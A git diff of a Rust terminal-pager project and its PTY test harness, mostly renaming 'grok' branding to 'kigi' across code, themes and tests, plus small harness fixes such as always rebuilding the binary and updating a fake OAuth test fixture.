@@ -210,7 +215,7 @@ mod tests {
 
     /// The pre-delegation mock always served 200 `{"allow_access": true}`;
     /// the shared server defaults to 404-until-set. A 404 strands the pager
-    /// on the SuperGrok upsell screen and breaks every PTY test.
+    /// on the subscription upsell screen and breaks every PTY test.
     #[tokio::test]
     async fn settings_endpoint_allows_access_by_default() {
         let content = ContentController::start().await.unwrap();
@@ -280,12 +285,14 @@ mod tests {
         );
         assert_eq!(get("KIGI_CODE_BASE_URL"), Some(content.url()));
         assert_eq!(get("KIGI_API_BASE_URL"), Some(content.url()));
+        assert_eq!(get("KIGI_MOONSHOT_CN_BASE_URL"), Some(content.url()));
+        assert_eq!(get("KIGI_MOONSHOT_AI_BASE_URL"), Some(content.url()));
         assert_eq!(get("XAI_API_KEY").as_deref(), Some("test-key-for-ci"));
         assert_eq!(get("KIGI_TELEMETRY_ENABLED").as_deref(), Some("false"));
         assert_eq!(get("KIGI_FEEDBACK_ENABLED").as_deref(), Some("false"));
         assert_eq!(get("KIGI_TRACE_UPLOAD").as_deref(), Some("false"));
         assert_eq!(get("KIGI_PROMPT_SUGGESTIONS").as_deref(), Some("false"));
         assert_eq!(get("KIGI_MAX_RETRIES").as_deref(), Some("0"));
-        assert_eq!(env.len(), 10, "env list must not silently grow or shrink");
+        assert_eq!(env.len(), 12, "env list must not silently grow or shrink");
     }
 }
diff --git a/crates/codegen/kigi-pager-pty-harness/src/env.rs b/crates/codegen/kigi-pager-pty-harness/src/env.rs
index 488c634..2c6122c 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/env.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/env.rs
@@ -26,28 +26,28 @@ fn target_dir() -> Result<PathBuf> {
 fn local_pager_binary_path() -> Result<PathBuf> {
     Ok(target_dir()?
         .join("debug")
-        .join(format!("kigi-tui{}", std::env::consts::EXE_SUFFIX)))
+        .join(format!("kigi{}", std::env::consts::EXE_SUFFIX)))
 }
 
 fn ensure_local_pager_binary(binary: &std::path::Path) -> Result<()> {
-    if binary.exists() {
-        return Ok(());
-    }
-
+    // Always invoke cargo: an existing binary may be stale relative to the
+    // sources under test (an early-return here once let PTY tests silently
+    // exercise an outdated build). Cargo itself makes this a fast no-op
+    // when the binary is already fresh.
     let cargo = std::env::var("CARGO").unwrap_or_else(|_| "cargo".to_owned());
     let mut cmd = Command::new(&cargo);
     cmd.current_dir(workspace_root()?)
-        .args(["build", "-p", "kigi-bin", "--bin", "kigi-tui"])
+        .args(["build", "-p", "kigi-bin", "--bin", "kigi"])
         .stdin(Stdio::null())
         .envs(kigi_tty_utils::pager_env());
     kigi_tty_utils::detach_std_command(&mut cmd);
     let output = cmd
         .output()
-        .with_context(|| format!("failed to spawn {cargo} to build kigi-tui"))?;
+        .with_context(|| format!("failed to spawn {cargo} to build the kigi binary"))?;
 
     if !output.status.success() {
         bail!(
-            "failed to build kigi-tui (exit {:?})\nstdout:\n{}\nstderr:\n{}",
+            "failed to build the kigi binary (exit {:?})\nstdout:\n{}\nstderr:\n{}",
             output.status.code(),
             String::from_utf8_lossy(&output.stdout),
             String::from_utf8_lossy(&output.stderr),
@@ -55,7 +55,7 @@ fn ensure_local_pager_binary(binary: &std::path::Path) -> Result<()> {
     }
     if !binary.exists() {
         bail!(
-            "kigi-tui build completed but binary missing at {}",
+            "kigi build completed but binary missing at {}",
             binary.display()
         );
     }
@@ -66,9 +66,9 @@ fn ensure_local_pager_binary(binary: &std::path::Path) -> Result<()> {
 ///
 /// Resolution order:
 /// 1. `PAGER_BINARY` env var (for CI / explicit override)
-/// 2. `CARGO_BIN_EXE_kigi-tui` (set by `cargo test`)
+/// 2. `CARGO_BIN_EXE_kigi` (set by `cargo test`)
 /// 3. Build locally via `cargo build -p kigi-bin` (the composition-
-///    root package that owns the `kigi-tui` binary)
+///    root package that owns the `kigi` binary)
 pub fn pager_binary() -> Result<PathBuf> {
     if let Ok(path) = std::env::var("PAGER_BINARY") {
         let p = PathBuf::from(path);
@@ -81,7 +81,7 @@ pub fn pager_binary() -> Result<PathBuf> {
             .with_context(|| format!("failed to absolutize PAGER_BINARY: {}", p.display()));
     }
 
-    if let Ok(path) = std::env::var("CARGO_BIN_EXE_kigi-tui") {
+    if let Ok(path) = std::env::var("CARGO_BIN_EXE_kigi") {
         let p = PathBuf::from(path);
         if p.exists() {
             return Ok(p);
diff --git a/crates/codegen/kigi-pager-pty-harness/src/flows.rs b/crates/codegen/kigi-pager-pty-harness/src/flows.rs
index b5adafb..6e85abb 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/flows.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/flows.rs
@@ -67,12 +67,13 @@ pub fn inference_request_count(content: &ContentController) -> usize {
         .count()
 }
 
-/// Seed a fake xAI OAuth entry into the isolated home's `auth.json` so the
-/// shell has session auth (the harness's `XAI_API_KEY` is ApiKey/BYOK mode
-/// and never enters the auth manager). Load-bearing details: the scope key
-/// must be `<issuer>::<client_id>`, `auth_mode` must be `oidc`, and
-/// `expires_at` must be far-future so no network refresh is attempted; the
-/// mock server accepts any bearer. Pair with [`oauth_env_for_pager`].
+/// Seed a fake Kimi Code OAuth entry into the isolated home's `auth.json` so
+/// the shell has session auth (the harness's `XAI_API_KEY` is ApiKey/BYOK mode
+/// and never enters the auth manager). Load-bearing details: the map key must
+/// be the Kimi Code scope key (`oauth/kimi-code`), `auth_mode` must be
+/// `oauth`, and `expires_at` must be far-future so no network refresh is
+/// attempted; the mock server accepts any bearer. Pair with
+/// [`oauth_env_for_pager`].
 pub fn seed_fake_oauth(content: &ContentController, user: &str) {
     let kigi_home = content.home().join(".kigi");
     std::fs::create_dir_all(&kigi_home).expect("create temp .kigi");
@@ -80,16 +81,14 @@ pub fn seed_fake_oauth(content: &ContentController, user: &str) {
         kigi_home.join("auth.json"),
         format!(
             r#"{{
-  "https://auth.x.ai::b1a00492-073a-47ea-816f-4c329264a828": {{
+  "oauth/kimi-code": {{
     "key": "pty-test-oauth-token",
     "auth_mode": "oauth",
     "create_time": "2026-01-01T00:00:00Z",
     "user_id": "{user}",
     "email": "{user}@test.invalid",
     "expires_at": "2030-01-01T00:00:00Z",
-    "refresh_token": "pty-test-refresh-token",
-    "oidc_issuer": "https://auth.x.ai",
-    "oidc_client_id": "b1a00492-073a-47ea-816f-4c329264a828"
+    "refresh_token": "pty-test-refresh-token"
   }}
 }}"#
         ),
diff --git a/crates/codegen/kigi-pager-pty-harness/src/leader.rs b/crates/codegen/kigi-pager-pty-harness/src/leader.rs
index 5fc7782..1288a76 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/leader.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/leader.rs
@@ -38,7 +38,7 @@ impl LeaderCluster {
         // One shared KIGI_SHARE_DIR => one leader; the socket lives beneath it so
         // every client (sharing the same env) elects/attaches to the same one.
         let kigi_home = content.home().join(".kigi");
-        std::fs::create_dir_all(&kigi_home).context("create grok home")?;
+        std::fs::create_dir_all(&kigi_home).context("create kigi home")?;
         let socket = kigi_home.join("leader-e2e.sock");
         let binary = pager_binary().context("resolve pager binary")?;
         Ok(Self {
@@ -194,14 +194,14 @@ mod tests {
     /// Wrap a session update as the envelope stored in `updates.jsonl`.
     fn envelope(update_json: &str) -> String {
         format!(
-            r#"{{"timestamp":1,"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{update_json}}}}}"#
+            r#"{{"timestamp":1,"method":"_kigi/session/update","params":{{"sessionId":"s","update":{update_json}}}}}"#
         )
     }
 
     #[test]
     fn parse_update_payloads_unwraps_and_tolerates_torn_trailing_line() {
         let body = format!(
-            "{}\n{}\n{{\"timestamp\":2,\"method\":\"_x.ai/sess",
+            "{}\n{}\n{{\"timestamp\":2,\"method\":\"_kigi/sess",
             envelope(
                 r#"{"sessionUpdate":"agent_message_chunk","content":{"type":"text","text":"hi"}}"#
             ),
diff --git a/crates/codegen/kigi-pager-pty-harness/src/lib.rs b/crates/codegen/kigi-pager-pty-harness/src/lib.rs
index 28ab825..5cb1c83 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/lib.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/lib.rs
@@ -256,12 +256,12 @@ impl PtyHarness {
     }
 
     /// Feed bytes **directly into the virtual screen only**, bypassing the
-    /// child (grok).
+    /// child (kigi).
     ///
     /// Simulates an out-of-band repaint/reflow by an outer layer (tmux, or an
     /// nvim/vim `:terminal`) that changes what's on screen without going
-    /// through grok's stdout. Used to reproduce the doubled-line class of bugs
-    /// where grok's diff renderer never re-asserts a region it didn't write
+    /// through kigi's stdout. Used to reproduce the doubled-line class of bugs
+    /// where kigi's diff renderer never re-asserts a region it didn't write
     /// itself (since the harness is a single faithful emulator and cannot nest
     /// a real tmux/nvim).
     pub fn feed_screen(&mut self, bytes: &[u8]) {
diff --git a/crates/codegen/kigi-pager-pty-harness/src/scenarios/plan_approval_resume.rs b/crates/codegen/kigi-pager-pty-harness/src/scenarios/plan_approval_resume.rs
index fad593f..1a63519 100644
--- a/crates/codegen/kigi-pager-pty-harness/src/scenarios/plan_approval_resume.rs
+++ b/crates/codegen/kigi-pager-pty-harness/src/scenarios/plan_approval_resume.rs
@@ -2,7 +2,7 @@
 //!
 //! When `exit_plan_mode` is parked and the user quits, the shell persists
 //! `awaiting_plan_approval = true` in `plan_mode.json`. On `--continue` the
-//! shell re-issues the `x.ai/exit_plan_mode` reverse-request — a real live ACP
+//! shell re-issues the `kigi/exit_plan_mode` reverse-request — a real live ACP
 //! waiter — so the pager re-shows approval chrome through its normal path with
 //! no pager-side disk logic. Approving then leaves plan mode and starts the
 //! implement turn.
diff --git a/crates/codegen/kigi-pager-render/assets/grok-day.tmTheme b/crates/codegen/kigi-pager-render/assets/kigi-day.tmTheme
similarity index 99%
rename from crates/codegen/kigi-pager-render/assets/grok-day.tmTheme
rename to crates/codegen/kigi-pager-render/assets/kigi-day.tmTheme
index 718dc9c..afe8db4 100644
--- a/crates/codegen/kigi-pager-render/assets/grok-day.tmTheme
+++ b/crates/codegen/kigi-pager-render/assets/kigi-day.tmTheme
@@ -3,7 +3,7 @@
 <plist version="1.0">
 <dict>
 	<key>name</key>
-	<string>Grok Day</string>
+	<string>Kigi Day</string>
 	<key>settings</key>
 	<array>
 		<dict>
diff --git a/crates/codegen/kigi-pager-render/assets/grok-night.tmTheme b/crates/codegen/kigi-pager-render/assets/kigi-night.tmTheme
similarity index 99%
rename from crates/codegen/kigi-pager-render/assets/grok-night.tmTheme
rename to crates/codegen/kigi-pager-render/assets/kigi-night.tmTheme
index 4288118..919bea9 100644
--- a/crates/codegen/kigi-pager-render/assets/grok-night.tmTheme
+++ b/crates/codegen/kigi-pager-render/assets/kigi-night.tmTheme
@@ -3,7 +3,7 @@
 <plist version="1.0">
 <dict>
 	<key>name</key>
-	<string>Grok Night</string>
+	<string>Kigi Night</string>
 	<key>settings</key>
 	<array>
 		<dict>
diff --git a/crates/codegen/kigi-pager-render/src/appearance/config.rs b/crates/codegen/kigi-pager-render/src/appearance/config.rs
index 4870fa1..490abe9 100644
--- a/crates/codegen/kigi-pager-render/src/appearance/config.rs
+++ b/crates/codegen/kigi-pager-render/src/appearance/config.rs
@@ -1715,7 +1715,7 @@ fn parse_hex_color(hex: &str) -> Result<Color, String> {
 }
 
 fn lookup_named_color(name: &str) -> Result<Color, String> {
-    // Named colors use the GrokNight RGB palette. They are quantized via
+    // Named colors use the KigiNight RGB palette. They are quantized via
     // `parse_color_string` → `quantize()` to match the terminal's capabilities.
     let color = match name.to_uppercase().as_str() {
         // Background colors
@@ -1787,10 +1787,10 @@ impl RawAppearanceConfig {
         let toml_str = toml_edit::ser::to_string_pretty(&config).expect("serialize default");
         let mut doc: DocumentMut = toml_str.parse().expect("parse toml");
 
-        let pager_path = crate::util::display_user_grok_path("pager.toml");
+        let pager_path = crate::util::display_user_kigi_path("pager.toml");
         let header = format!(
             "\
-# Grok Pager Appearance Configuration ({pager_path})
+# Kigi Pager Appearance Configuration ({pager_path})
 # Every value below is a commented-out built-in default: uncomment a line and
 # save to override it. Values left commented track future default changes.
 # Delete the file to regenerate this template.
@@ -1935,7 +1935,7 @@ pub fn persist_respect_manual_folds(enabled: bool) -> std::io::Result<()> {
     if kigi_config::user_kigi_home().is_none() {
         return Err(Error::new(
             ErrorKind::NotFound,
-            "no user grok home resolved; refusing to write a cwd-relative pager.toml \
+            "no user kigi home resolved; refusing to write a cwd-relative pager.toml \
              that startup would never read",
         ));
     }
diff --git a/crates/codegen/kigi-pager-render/src/clipboard/mod.rs b/crates/codegen/kigi-pager-render/src/clipboard/mod.rs
index 0ff0a9a..e9d6c9b 100644
--- a/crates/codegen/kigi-pager-render/src/clipboard/mod.rs
+++ b/crates/codegen/kigi-pager-render/src/clipboard/mod.rs
@@ -27,18 +27,18 @@ fn is_container_no_display() -> bool {
 
 /// Cached result of the "an upstream OSC 52 sink is capturing our output" check.
 ///
-/// `grok wrap` runs a command inside a local PTY, scans its output for OSC 52
+/// `kigi wrap` runs a command inside a local PTY, scans its output for OSC 52
 /// clipboard sequences, and writes their payload to the *real* (local) system
 /// clipboard (see `kigi-tui`'s `pty_wrap` module). It advertises this to
 /// the wrapped program via an environment variable so the
-/// inner `grok` knows its OSC 52 writes are reliably intercepted and copied,
+/// inner `kigi` knows its OSC 52 writes are reliably intercepted and copied,
 /// even when the inner terminal brand is misdetected (e.g. over SSH, where only
 /// `TERM` propagates and Apple Terminal / unknown brands look OSC-52-incapable).
 ///
 /// Two names are accepted: the canonical `KIGI_OSC52_SINK` (inherited by local
 /// children) and the `LC_`-prefixed `LC_KIGI_OSC52_SINK`, which the default
 /// OpenSSH client/server configs forward (`SendEnv LANG LC_*` /
-/// `AcceptEnv LANG LC_*`) so the signal survives the hop into a remote `grok`.
+/// `AcceptEnv LANG LC_*`) so the signal survives the hop into a remote `kigi`.
 pub fn osc52_sink_active() -> bool {
     static SINK: OnceLock<bool> = OnceLock::new();
     *SINK.get_or_init(|| {
@@ -124,7 +124,7 @@ pub fn resolve_clipboard_route(ctx: &TerminalContext) -> ClipboardRoute {
         // Linux: always emit OSC 52 as a safety net. This matches other
         // terminal agent CLIs which emit OSC 52 on every copy.
         // macOS/Windows: only in tmux/SSH/container contexts, or when an
-        // upstream `grok wrap` sink is capturing our output and will forward
+        // upstream `kigi wrap` sink is capturing our output and will forward
         // the sequence to the real clipboard.
         osc52: cfg!(target_os = "linux")
             || is_tmux
diff --git a/crates/codegen/kigi-pager-render/src/clipboard/trust.rs b/crates/codegen/kigi-pager-render/src/clipboard/trust.rs
index 5933548..e821051 100644
--- a/crates/codegen/kigi-pager-render/src/clipboard/trust.rs
+++ b/crates/codegen/kigi-pager-render/src/clipboard/trust.rs
@@ -37,7 +37,7 @@ pub(crate) fn trusted_native(
 /// Normally this requires the detected terminal brand to natively apply OSC 52
 /// to the system pasteboard (fail closed). Two overrides widen the brand gate:
 ///
-/// - `osc52_sink`: when `grok wrap` is capturing this process's output (see
+/// - `osc52_sink`: when `kigi wrap` is capturing this process's output (see
 ///   [`super::osc52_sink_active`]) the escape sequence is intercepted upstream
 ///   and copied to the *local* clipboard regardless of the (often misdetected,
 ///   e.g. over SSH) inner terminal brand, so the copy is trusted.
@@ -550,7 +550,7 @@ mod tests {
         );
     }
 
-    // `grok wrap` sink: a brand that does NOT natively support OSC 52 (the
+    // `kigi wrap` sink: a brand that does NOT natively support OSC 52 (the
     // common SSH case where the inner terminal is misdetected as Vte/Unknown)
     // is still trusted when an upstream OSC 52 sink is capturing our output.
     #[test]
@@ -665,7 +665,7 @@ mod tests {
     }
 
     // Unknown brand over SSH (not container) keeps failing closed — the
-    // container override is deliberately narrow; `grok wrap` is the SSH path.
+    // container override is deliberately narrow; `kigi wrap` is the SSH path.
     #[test]
     fn ssh_unknown_brand_osc_only_still_fails() {
         let l = legs(true, false, false, false, true, "");
diff --git a/crates/codegen/kigi-pager-render/src/gboom/mod.rs b/crates/codegen/kigi-pager-render/src/gboom/mod.rs
index 992f24e..07340bd 100644
--- a/crates/codegen/kigi-pager-render/src/gboom/mod.rs
+++ b/crates/codegen/kigi-pager-render/src/gboom/mod.rs
@@ -666,7 +666,7 @@ mod tests {
     #[test]
     #[ignore]
     fn dump_frames_for_visual_inspection() {
-        let dir = std::env::temp_dir().join("grok-gboom-frames");
+        let dir = std::env::temp_dir().join("kigi-gboom-frames");
         std::fs::create_dir_all(&dir).unwrap();
         let dump = |name: &str, state: &mut GboomState| {
             state.sim_gen += 1;
diff --git a/crates/codegen/kigi-pager-render/src/glyphs.rs b/crates/codegen/kigi-pager-render/src/glyphs.rs
index 6ee42f2..db38510 100644
--- a/crates/codegen/kigi-pager-render/src/glyphs.rs
+++ b/crates/codegen/kigi-pager-render/src/glyphs.rs
@@ -554,7 +554,7 @@ fn decide_legacy_windows_console(host: HostOs, brand: TerminalName) -> bool {
             | TerminalName::Alacritty
             | TerminalName::Ghostty
             | TerminalName::Rio
-            | TerminalName::GrokDesktop
+            | TerminalName::KigiDesktop
     )
 }
 
@@ -797,7 +797,7 @@ mod tests {
             TerminalName::Alacritty,
             TerminalName::Ghostty,
             TerminalName::Rio,
-            TerminalName::GrokDesktop,
+            TerminalName::KigiDesktop,
         ] {
             assert!(!decide_legacy_windows_console(HostOs::Windows, brand));
         }
diff --git a/crates/codegen/kigi-pager-render/src/link_opener.rs b/crates/codegen/kigi-pager-render/src/link_opener.rs
index 8e49133..d2b8efe 100644
--- a/crates/codegen/kigi-pager-render/src/link_opener.rs
+++ b/crates/codegen/kigi-pager-render/src/link_opener.rs
@@ -1,6 +1,6 @@
 //! Shared URL-opening and scheme validation utilities.
 //!
-//! Extracted from the `OpenSupergrokUrl` dispatch handler so that any
+//! Extracted from the `OpenSubscriptionUrl` dispatch handler so that any
 //! code path (keyboard navigation, mouse click, action dispatch) can
 //! open a link safely without duplicating platform-specific logic.
 
@@ -217,7 +217,7 @@ mod tests {
     #[test]
     fn open_path_command_passes_path_as_a_single_arg() {
         // Path with spaces must be one argument, never shell-interpolated.
-        let path = std::path::Path::new("/tmp/grok session/image 1.jpg");
+        let path = std::path::Path::new("/tmp/kigi session/image 1.jpg");
         let command = build_open_path_command(path);
         let args: Vec<_> = command.get_args().map(|a| a.to_os_string()).collect();
         assert!(args.contains(&path.as_os_str().to_os_string()));
diff --git a/crates/codegen/kigi-pager-render/src/prompt_images.rs b/crates/codegen/kigi-pager-render/src/prompt_images.rs
index 1b147ae..597078d 100644
--- a/crates/codegen/kigi-pager-render/src/prompt_images.rs
+++ b/crates/codegen/kigi-pager-render/src/prompt_images.rs
@@ -453,7 +453,7 @@ pub fn extract_poster_frame(path: &std::path::Path) -> Option<(Vec<u8>, u32, u32
 /// Create a unique temp directory path for frame extraction.
 fn make_temp_dir() -> PathBuf {
     std::env::temp_dir().join(format!(
-        "grok-video-{}-{}",
+        "kigi-video-{}-{}",
         std::process::id(),
         std::time::SystemTime::now()
             .duration_since(std::time::UNIX_EPOCH)
@@ -2764,7 +2764,7 @@ mod tests {
         // time would still satisfy this assertion because the
         // anchor gate now rejects single-slash strings *before* any
         // URL parsing runs.
-        let pasted = "file:/tmp/should_not_exist_abc_grok_pager.png";
+        let pasted = "file:/tmp/should_not_exist_abc_kigi_pager.png";
         assert!(try_read_image_from_path(pasted).is_none());
     }
 
@@ -3583,7 +3583,7 @@ mod tests {
         // user might just have typed `/etc/passwd` as part of prose.
         // (The image branch already filters on file existence; this
         // mirrors that for the non-image branch.)
-        let entries = dropped_paths("/tmp/definitely_does_not_exist_xyz_grok_pager.txt");
+        let entries = dropped_paths("/tmp/definitely_does_not_exist_xyz_kigi_pager.txt");
         assert!(
             entries.is_empty(),
             "bare nonexistent path must fall through to prose; got {entries:?}"
diff --git a/crates/codegen/kigi-pager-render/src/render/osc8.rs b/crates/codegen/kigi-pager-render/src/render/osc8.rs
index a0a2fe6..768f183 100644
--- a/crates/codegen/kigi-pager-render/src/render/osc8.rs
+++ b/crates/codegen/kigi-pager-render/src/render/osc8.rs
@@ -91,7 +91,7 @@ fn link_finder() -> &'static LinkFinder {
 }
 
 /// One path segment without spaces (`main.rs`, `.kigi`, `@scope`). Leading `.`
-/// matches dot-directories and `%` matches percent-encoded segments — grok
+/// matches dot-directories and `%` matches percent-encoded segments — kigi
 /// session media lives under `~/.kigi/sessions/%2F…/images/1.jpg`.
 const PATH_SEGMENT: &str = r"[a-zA-Z0-9_@.%][a-zA-Z0-9._+@%\-]*";
 
@@ -565,7 +565,7 @@ mod tests {
         std::fs::write(dir.path().join("images/1.jpg"), b"x").unwrap();
         let media = vec![dir.path().join("images/1.jpg")];
 
-        assert!(local_link_to_file_url("https://x.ai", &media).is_none());
+        assert!(local_link_to_file_url("https://kimi.com", &media).is_none());
         assert!(local_link_to_file_url("mailto:a@b.c", &media).is_none());
         assert!(local_link_to_file_url("#section", &media).is_none());
         // Relative path that isn't a known generated media file.
@@ -786,13 +786,14 @@ mod tests {
 
     #[test]
     fn scan_content_x_offset_applied() {
-        let line = make_line("https://x.ai");
+        let line = make_line("https://kimi.com");
         let mut overlay = LinkOverlay::new();
         scan_unjoined(std::iter::once((0, &line)), 10, &[], &mut overlay);
 
         assert_eq!(overlay.links().len(), 1);
         assert_eq!(overlay.links()[0].col_start, 10);
-        assert_eq!(overlay.links()[0].col_end, 10 + 12);
+        // 16 == "https://kimi.com".len()
+        assert_eq!(overlay.links()[0].col_end, 10 + 16);
     }
 
     // ── File path detection ──
@@ -856,7 +857,7 @@ mod tests {
     }
 
     #[test]
-    fn scan_detects_grok_session_media_path() {
+    fn scan_detects_kigi_session_media_path() {
         // Dot-directory (`.kigi`), percent-encoded session segment, and a
         // trailing sentence period — the shape of media-tool output prose.
         let line = make_line("Saved to /Users/alice/.kigi/sessions/%2Fabc/00000000/images/1.jpg.");
@@ -1097,12 +1098,12 @@ mod tests {
 
     #[test]
     fn scan_file_path_with_dots_and_hyphens() {
-        let line = make_line("Reading /tmp/grok-impl-summary.md now.");
+        let line = make_line("Reading /tmp/kigi-impl-summary.md now.");
         let mut overlay = LinkOverlay::new();
         scan_unjoined(std::iter::once((0, &line)), 0, &[], &mut overlay);
 
         assert_eq!(overlay.links().len(), 1);
-        assert_eq!(&*overlay.links()[0].url, "file:///tmp/grok-impl-summary.md");
+        assert_eq!(&*overlay.links()[0].url, "file:///tmp/kigi-impl-summary.md");
     }
 
     #[test]
@@ -1188,7 +1189,7 @@ mod tests {
     #[test]
     fn scan_detects_tilde_file_path() {
         // The user's example: a `~/Desktop/…md` path in agent output.
-        let raw = "~/Desktop/grok-pager-retention-findings-2026-06-06.md";
+        let raw = "~/Desktop/kigi-pager-retention-findings-2026-06-06.md";
         // Skip when no home directory is resolvable (e.g. minimal sandbox):
         // the tilde stays unexpanded and cannot form an absolute file URL.
         let Ok(expected) = url::Url::from_file_path(shellexpand::tilde(raw).as_ref()) else {
diff --git a/crates/codegen/kigi-pager-render/src/syntax.rs b/crates/codegen/kigi-pager-render/src/syntax.rs
index f3b489d..32e4f61 100644
--- a/crates/codegen/kigi-pager-render/src/syntax.rs
+++ b/crates/codegen/kigi-pager-render/src/syntax.rs
@@ -1,8 +1,8 @@
 //! Syntax highlighting initialization.
 //!
 //! Provides lazily-initialized `Syntect` instances for code highlighting.
-//! Dark themes (GrokNight, TokyoNight) share `grok-night.tmTheme`;
-//! GrokDay uses `grok-day.tmTheme` with deepened colors for light backgrounds.
+//! Dark themes (KigiNight, TokyoNight) share `kigi-night.tmTheme`;
+//! KigiDay uses `kigi-day.tmTheme` with deepened colors for light backgrounds.
 
 use std::sync::OnceLock;
 
@@ -10,9 +10,9 @@ pub use kigi_markdown::Syntect;
 
 use crate::theme::ThemeKind;
 
-static SYNTECT_GROKNIGHT: OnceLock<Syntect> = OnceLock::new();
+static SYNTECT_KIGINIGHT: OnceLock<Syntect> = OnceLock::new();
 static SYNTECT_TOKYONIGHT: OnceLock<Syntect> = OnceLock::new();
-static SYNTECT_GROKDAY: OnceLock<Syntect> = OnceLock::new();
+static SYNTECT_KIGIDAY: OnceLock<Syntect> = OnceLock::new();
 
 /// Convert syntect style to ratatui foreground-only style, quantized for terminal color support.
 pub fn syntect_to_ratatui_fg(style: syntect::highlighting::Style) -> ratatui::style::Style {
@@ -66,14 +66,14 @@ pub fn highlight_line(
 /// Returns the syntect instance matching the active theme.
 pub fn get_syntect() -> &'static Syntect {
     match crate::theme::Theme::current_kind() {
-        ThemeKind::GrokNight
+        ThemeKind::KigiNight
         | ThemeKind::RosePineMoon
         | ThemeKind::OscuraMidnight
-        | ThemeKind::Auto => SYNTECT_GROKNIGHT
-            .get_or_init(|| Syntect::new(include_bytes!("../assets/grok-night.tmTheme"))),
+        | ThemeKind::Auto => SYNTECT_KIGINIGHT
+            .get_or_init(|| Syntect::new(include_bytes!("../assets/kigi-night.tmTheme"))),
         ThemeKind::TokyoNight => SYNTECT_TOKYONIGHT
             .get_or_init(|| Syntect::new(include_bytes!("../assets/tokyo-night.tmTheme"))),
-        ThemeKind::GrokDay => SYNTECT_GROKDAY
-            .get_or_init(|| Syntect::new(include_bytes!("../assets/grok-day.tmTheme"))),
+        ThemeKind::KigiDay => SYNTECT_KIGIDAY
+            .get_or_init(|| Syntect::new(include_bytes!("../assets/kigi-day.tmTheme"))),
     }
 }
diff --git a/crates/codegen/kigi-pager-render/src/terminal/embedded_editor.rs b/crates/codegen/kigi-pager-render/src/terminal/embedded_editor.rs
index 45331dc..5f88293 100644
--- a/crates/codegen/kigi-pager-render/src/terminal/embedded_editor.rs
+++ b/crates/codegen/kigi-pager-render/src/terminal/embedded_editor.rs
@@ -1,4 +1,4 @@
-//! Detects whether grok is running inside an editor's embedded `:terminal`
+//! Detects whether kigi is running inside an editor's embedded `:terminal`
 //! (Neovim/Vim `:terminal`, Emacs `vterm`).
 //!
 //! WHY this matters: inside an editor `:terminal` the *immediate* terminal
@@ -13,7 +13,7 @@ use std::collections::HashMap;
 
 use super::env_get;
 
-/// Which embedded editor `:terminal` grok is running inside.
+/// Which embedded editor `:terminal` kigi is running inside.
 #[derive(Clone, Copy, Debug, Eq, PartialEq)]
 pub enum EmbeddedEditor {
     /// Neovim `:terminal` (sets `NVIM`, or legacy `NVIM_LISTEN_ADDRESS`).
diff --git a/crates/codegen/kigi-pager-render/src/terminal/hyperlinks.rs b/crates/codegen/kigi-pager-render/src/terminal/hyperlinks.rs
index 7efe078..fc65785 100644
--- a/crates/codegen/kigi-pager-render/src/terminal/hyperlinks.rs
+++ b/crates/codegen/kigi-pager-render/src/terminal/hyperlinks.rs
@@ -178,7 +178,7 @@ pub fn hyperlink_capabilities(brand: TerminalName) -> HyperlinkCapabilities {
             native_plain_url_open: false,
         },
         // Electron app; behavior undocumented.
-        TerminalName::GrokDesktop => HyperlinkCapabilities {
+        TerminalName::KigiDesktop => HyperlinkCapabilities {
             osc8: Unknown,
             id_param: false,
             scheme_filter: SchemeFilter::Standard,
diff --git a/crates/codegen/kigi-pager-render/src/terminal/image.rs b/crates/codegen/kigi-pager-render/src/terminal/image.rs
index 553cb4a..4f3aea4 100644
--- a/crates/codegen/kigi-pager-render/src/terminal/image.rs
+++ b/crates/codegen/kigi-pager-render/src/terminal/image.rs
@@ -54,7 +54,7 @@ static GRAPHICS_PROTOCOL: OnceLock<GraphicsProtocol> = OnceLock::new();
 
 /// When set, scrollback inline-media overlays are forced **off** process-wide,
 /// regardless of the terminal's graphics capability. The scrollback-native
-/// minimal mode (`grok --minimal`) sets this once at startup: it never runs the
+/// minimal mode (`kigi --minimal`) sets this once at startup: it never runs the
 /// interactive draw loop that paints inline images, so committed media blocks
 /// must always fall back to the `[Open …]` text affordance — and must not
 /// reserve blank image rows. See [`set_inline_overlay_force_off`].
@@ -281,8 +281,8 @@ fn convert_via_sips(image_data: &[u8]) -> Option<Vec<u8>> {
         .duration_since(std::time::UNIX_EPOCH)
         .unwrap_or_default()
         .as_nanos();
-    let src = tmp_dir.join(format!("grok-sips-{id}-{ts}.dat"));
-    let dst = tmp_dir.join(format!("grok-sips-{id}-{ts}.png"));
+    let src = tmp_dir.join(format!("kigi-sips-{id}-{ts}.dat"));
+    let dst = tmp_dir.join(format!("kigi-sips-{id}-{ts}.png"));
 
     // Write source bytes to temp file.
     let mut f = std::fs::File::create(&src).ok()?;
diff --git a/crates/codegen/kigi-pager-render/src/terminal/keyboard.rs b/crates/codegen/kigi-pager-render/src/terminal/keyboard.rs
index c09eb46..8e418c1 100644
--- a/crates/codegen/kigi-pager-render/src/terminal/keyboard.rs
+++ b/crates/codegen/kigi-pager-render/src/terminal/keyboard.rs
@@ -117,7 +117,7 @@ fn macos_capabilities(brand: TerminalName) -> KeyboardCapabilities {
         // Apple Terminal: Cmd+Bsp captured by the window manager.
         // Opt+Bsp and modified Enter are dropped; CG can rescue both.
         TerminalName::AppleTerminal => (Unrecoverable, Dropped, Dropped),
-        TerminalName::GrokDesktop => (Unknown, Unknown, Unknown),
+        TerminalName::KigiDesktop => (Unknown, Unknown, Unknown),
         // VTE-based terminals (incl. Terminator) on macOS are unusual;
         // classify when we have evidence rather than guessing.
         TerminalName::Vte | TerminalName::Terminator => (Unknown, Unknown, Unknown),
@@ -201,7 +201,7 @@ mod tests {
     fn unknown_brands_skip_rescue() {
         for brand in [
             TerminalName::Unknown,
-            TerminalName::GrokDesktop,
+            TerminalName::KigiDesktop,
             TerminalName::Vte,
             TerminalName::JetBrains,
         ] {
diff --git a/crates/codegen/kigi-pager-render/src/terminal/mod.rs b/crates/codegen/kigi-pager-render/src/terminal/mod.rs
index 20d54dc..f42ff26 100644
--- a/crates/codegen/kigi-pager-render/src/terminal/mod.rs
